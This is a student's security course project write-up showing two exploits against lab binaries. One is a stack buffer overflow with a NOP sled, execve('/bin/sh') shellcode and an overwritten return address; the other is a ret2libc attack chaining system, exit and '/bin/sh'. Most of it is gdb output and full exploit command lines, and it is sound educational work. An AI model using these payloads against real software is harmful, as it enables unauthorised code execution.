CSCI 4250 Project 1

David Luo

Part 1

Part 1 was pretty straightforward once I understood it. I first tried to cause a segfault by feeding a lot of `A`'s into the program as an argument. Then I replaced the last 4 `A`'s with `B`'s and changed the number of `A`'s until the `B`'s were in `$eip`. Now I can replace the last 24 `A`'s with the shellcode and the rest of the `A`'s with `'\x90'` and run it again. Then, I can list the values of the registers to find an address to set the return address to, which will be somewhere in the middle of the `'\x90'`'s, and finally I can replace the `B`'s with the picked return address. The first time I tried this, it worked in gdb, but not outside of it, and I didn't figure it out until I realized I hadn't disabled ASLR. As expected, `whoami` shows `ubuntu` as the current user.

```
gdb-peda$ r $(python -c "print('A' * 300)")
Starting program: /home/ubuntu/notes/CSCI_4250/proj1/proj1_Luo.David $(python -c "print('A' * 300)")

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x0
ECX: 0x98800
EDX: 0xffffffc0
ESI: 0xf7fc9000 --> 0x1afdb0
EDI: 0xf7fc9000 --> 0x1afdb0
EBP: 0x41414141 ('AAAA')
ESP: 0xffffd3d0 ('A' <repeats 39 times>)
EIP: 0x41414141 ('AAAA')
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414141
[------------------------------------stack-------------------------------------]
0000| 0xffffd3d0 ('A' <repeats 39 times>)
0004| 0xffffd3d4 ('A' <repeats 35 times>)
0008| 0xffffd3d8 ('A' <repeats 31 times>)
0012| 0xffffd3dc ('A' <repeats 27 times>)
0016| 0xffffd3e0 ('A' <repeats 23 times>)
0020| 0xffffd3e4 ('A' <repeats 19 times>)
0024| 0xffffd3e8 ('A' <repeats 15 times>)
0028| 0xffffd3ec ('A' <repeats 11 times>)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414141 in ?? ()

gdb-peda$ r $(python -c "print('A' * (300-39-4) + 'BBBB')")
Starting program: /home/ubuntu/notes/CSCI_4250/proj1/proj1_Luo.David $(python -c "print('A' * (300-39-4) + 'BBBB')")

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x0
ECX: 0x98800
EDX: 0xffffffc0
ESI: 0xf7fc9000 --> 0x1afdb0
EDI: 0xf7fc9000 --> 0x1afdb0
EBP: 0x41414141 ('AAAA')
ESP: 0xffffd3f0 --> 0xffffd600 --> 0xe
EIP: 0x42424242 ('BBBB')
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x42424242
[------------------------------------stack-------------------------------------]
0000| 0xffffd3f0 --> 0xffffd600 --> 0xe
0004| 0xffffd3f4 --> 0x1
0008| 0xffffd3f8 --> 0xc2
0012| 0xffffd3fc --> 0xf7ea891b (add    esp,0x10)
```

```
0016| 0xffffd400 --> 0xffffd42e --> 0xffff0000 --> 0x0
0020| 0xffffd404 --> 0xffffd530 --> 0xffffd793 ("XDG_SESSION_ID=317")
0024| 0xffffd408 --> 0xe0
0028| 0xffffd40c --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x42424242 in ?? ()

gdb-peda$ r $(python -c "print('\x90' * (300-39-4-24) + '\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80' + 'BBBB')")
Starting program: /home/ubuntu/notes/CSCI_4250/proj1/proj1_Luo.David $(python -c "print('\x90' * (300-39-4-24) + '\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x0
ECX: 0x98800
EDX: 0xffffffc0
ESI: 0xf7fc9000 --> 0x1afdb0
EDI: 0xf7fc9000 --> 0x1afdb0
EBP: 0x80cd0bb0
ESP: 0xffffd3f0 --> 0xffffd600 --> 0xe
EIP: 0x42424242 ('BBBB')
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x42424242
[------------------------------------stack-------------------------------------]
0000| 0xffffd3f0 --> 0xffffd600 --> 0xe
0004| 0xffffd3f4 --> 0x1
0008| 0xffffd3f8 --> 0xc2
0012| 0xffffd3fc --> 0xf7ea891b (add    esp,0x10)
0016| 0xffffd400 --> 0xffffd42e --> 0xffff0000 --> 0x0
0020| 0xffffd404 --> 0xffffd530 --> 0xffffd793 ("XDG_SESSION_ID=317")
0024| 0xffffd408 --> 0xe0
0028| 0xffffd40c --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x42424242 in ?? ()

gdb-peda$ x/200x $esp
0xffffd3f0:     0xffffd600      0x00000001      0x000000c2      0xf7ea891b
0xffffd400:     0xffffd42e      0xffffd530      0x000000e0      0x00000000
0xffffd410:     0xf7ffd000      0xf7ffd918      0xffffd430      0x080482c7
0xffffd420:     0x00000000      0xffffd4c4      0xf7fc9000      0x0000e287
0xffffd430:     0xffffffff      0x0000002f      0xf7e25dc8      0xf7fd51a8
0xffffd440:     0x00008000      0xf7fc9000      0xf7fc7244      0xf7e310ec
0xffffd450:     0x00000002      0x00000000      0xf7e47830      0x0804869b
0xffffd460:     0x00000002      0xffffd524      0xffffd530      0x0000001e
0xffffd470:     0xf7fc93dc      0xffffd490      0x00000000      0xf7e31637
0xffffd480:     0xf7fc9000      0xf7fc9000      0x00000000      0xf7e31637
0xffffd490:     0x00000002      0xffffd524      0xffffd530      0x00000000
0xffffd4a0:     0x00000000      0x00000000      0xf7fc9000      0xf7ffdc04
0xffffd4b0:     0xf7ffd000      0x00000000      0xf7fc9000      0xf7fc9000
0xffffd4c0:     0x00000000      0xdbae35fd      0xe22cfbed      0x00000000
0xffffd4d0:     0x00000000      0x00000000      0x00000002      0x08048440
0xffffd4e0:     0x00000000      0xf7feeff0      0xf7fe9880      0xf7ffd000
0xffffd4f0:     0x00000002      0x08048440      0x00000000      0x08048461
0xffffd500:     0x080485b4      0x00000002      0xffffd524      0x08048650
0xffffd510:     0x080486b0      0xf7fe9880      0xffffd51c      0xf7ffd918
0xffffd520:     0x00000002      0xffffd65a      0xffffd68d      0x00000000
0xffffd530:     0xffffd793      0xffffd7a6      0xffffd7b6      0xffffd7ca
0xffffd540:     0xffffd7ec      0xffffd7ff      0xffffd80b      0xffffdd93
0xffffd550:     0xffffddc1      0xffffddcd      0xffffde5e      0xffffde74
0xffffd560:     0xffffde83      0xffffdeaa      0xffffdebb      0xffffdec4
0xffffd570:     0xffffded6      0xffffdede      0xffffdeed      0xffffdf23
0xffffd580:     0xffffdf64      0xffffdf84      0xffffdfa3      0x00000000
0xffffd590:     0x00000020      0xf7fd9be0      0x00000021      0xf7fd9000
0xffffd5a0:     0x00000010      0x0f8bfbff      0x00000006      0x00001000
0xffffd5b0:     0x00000011      0x00000064      0x00000003      0x08048034
0xffffd5c0:     0x00000004      0x00000020      0x00000005      0x00000009
0xffffd5d0:     0x00000007      0xf7fda000      0x00000008      0x00000000
0xffffd5e0:     0x00000009      0x08048440      0x0000000b      0x000003e8
```

```
0xffffd5f0:     0x0000000c      0x000003e8      0x0000000d      0x000003e8
0xffffd600:     0x0000000e      0x000003e8      0x00000017      0x00000000
0xffffd610:     0x00000019      0xffffd63b      0x0000001f      0xffffdfc5
0xffffd620:     0x0000000f      0xffffd64b      0x00000000      0x00000000
0xffffd630:     0x00000000      0x00000000      0x4b000000      0x8a70353d
0xffffd640:     0x2d011203      0xd4ad562c      0x69901c68      0x00363836
0xffffd650:     0x00000000      0x00000000      0x682f0000      0x2f656d6f
0xffffd660:     0x6e756275      0x6e2f7574      0x7365746f      0x4353432f
0xffffd670:     0x32345f49      0x702f3035      0x316a6f72      0x6f72702f
0xffffd680:     0x4c5f316a      0x442e6f75      0x64697661      0x90909000
0xffffd690:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd6a0:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd6b0:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd6c0:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd6d0:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd6e0:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd6f0:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd700:     0x90909090      0x90909090      0x90909090      0x90909090

gdb-peda$ r $(python -c "print('\x90' * (300-39-4-24) + '\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80' + '\xe0\xd6\xff\xff')")
Starting program: /home/ubuntu/notes/CSCI_4250/proj1/proj1_Luo.David $(python -c "print('\x90' * (300-39-4-24) + '\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\
process 26473 is executing new program: /bin/dash
$ whoami
[New process 26476]
process 26476 is executing new program: /usr/bin/whoami
ubuntu
$ [Inferior 2 (process 26476) exited normally]
Warning: not running or target is remote
gdb-peda$ quit

ubuntu@ubuntu-vm:~/notes/CSCI_4250/proj1$ ./proj1_Luo.David $(python -c "print('\x90' * (300-39-4-24) + '\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x
$ whoami
ubuntu
$
```

```
0xffffd5d0:     0x00000007      0xf7fda000      0x00000008      0x00000000
0xffffd5e0:     0x00000009      0x08048440      0x0000000b      0x000003e8
0xffffd5f0:     0x0000000c      0x000003e8      0x0000000d      0x000003e8
0xffffd600:     0x0000000e      0x000003e8      0x00000017      0x00000000
0xffffd610:     0x00000019      0xffffd63b      0x0000001f      0xffffdfc5
0xffffd620:     0x0000000f      0xffffd64b      0x00000000      0x00000000
0xffffd630:     0x00000000      0x00000000      0x4b000000      0x8a70353d
0xffffd640:     0x2d011203      0xd4ad562c      0x69901c68      0x00363836
0xffffd650:     0x00000000      0x00000000      0x682f0000      0x2f656d6f
0xffffd660:     0x6e756275      0x6e2f7574      0x7365746f      0x4353432f
0xffffd670:     0x32345f49      0x702f3035      0x316a6f72      0x6f72702f
0xffffd680:     0x4c5f316a      0x442e6f75      0x64697661      0x90909000
0xffffd690:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd6a0:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd6b0:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd6c0:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd6d0:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd6e0:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd6f0:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd700:     0x90909090      0x90909090      0x90909090      0x90909090
gdb-peda$ r $(python -c "print('\x90' * (300-39-4-24) + '\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\x
cd\x80' + '\xe0\xd6\xff\xff')")
Starting program: /home/ubuntu/notes/CSCI_4250/proj1/proj1_Luo.David $(python -c "print('\x90' * (300-39-4-24) + '\x31\xc0\x99\x50\x68\x2f\x2f\x73\
x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80' + '\xe0\xd6\xff\xff')")
process 26473 is executing new program: /bin/dash
$ whoami
[New process 26476]
process 26476 is executing new program: /usr/bin/whoami
ubuntu
$ [Inferior 2 (process 26476) exited normally]
Warning: not running or target is remote
gdb-peda$ quit
ubuntu@ubuntu-vm:~/notes/CSCI_4250/proj1$ proj1_Luo.David $(python -c "print('\x90' * (300-39-4-24) + '\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f
\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80' + '\xe0\xd6\xff\xff')")
proj1_Luo.David: command not found
ubuntu@ubuntu-vm:~/notes/CSCI_4250/proj1$ ./proj1_Luo.David $(python -c "print('\x90' * (300-39-4-24) + '\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x
2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80' + '\xe0\xd6\xff\xff')")
$ whoami
ubuntu
$
```

Part 2

For part 2, I essentially did the same thing except I set the return address to the address of `system` (found using `p system` in gdb), followed by the address of `exit`, and the address of `/bin/sh` in `lib.c` (found using find `/bin/sh`). At first this didn't seem to work in gdb, but it did work outside of gdb. So I'm not entirely sure why that is the case, but it seems to work.

```
ubuntu@ubuntu-vm:~/notes/CSCI_4250/proj1$ ./proj1_dep_Luo.David $(python -c "print('A' * 257 + '\x40\x39\xe5\xf7' + '\xb0\x77\xe4\xf7' + '\x2b\x20\xf7\xf7')")
$
ubuntu@ubuntu-vm:~/notes/CSCI_4250/proj1$ gdb ./proj1_dep_Luo.David
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
```

```
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./proj1_dep_Luo.David...done.
(gdb) r $(python -c "print('A' * 257 + '\x40\x39\xe5\xf7' + '\xb0\x77\xe4\xf7' + '\x2b\x20\xf7\xf7')")
Starting program: /home/ubuntu/notes/CSCI_4250/proj1/proj1_dep_Luo.David $(python -c "print('A' * 257 + '\x40\x39\xe5\xf7' + '\xb0\x77\xe4\xf7' + '\x2b\x20\xf7\xf7')")
[Inferior 1 (process 1236) exited with code 0302]
(gdb)
```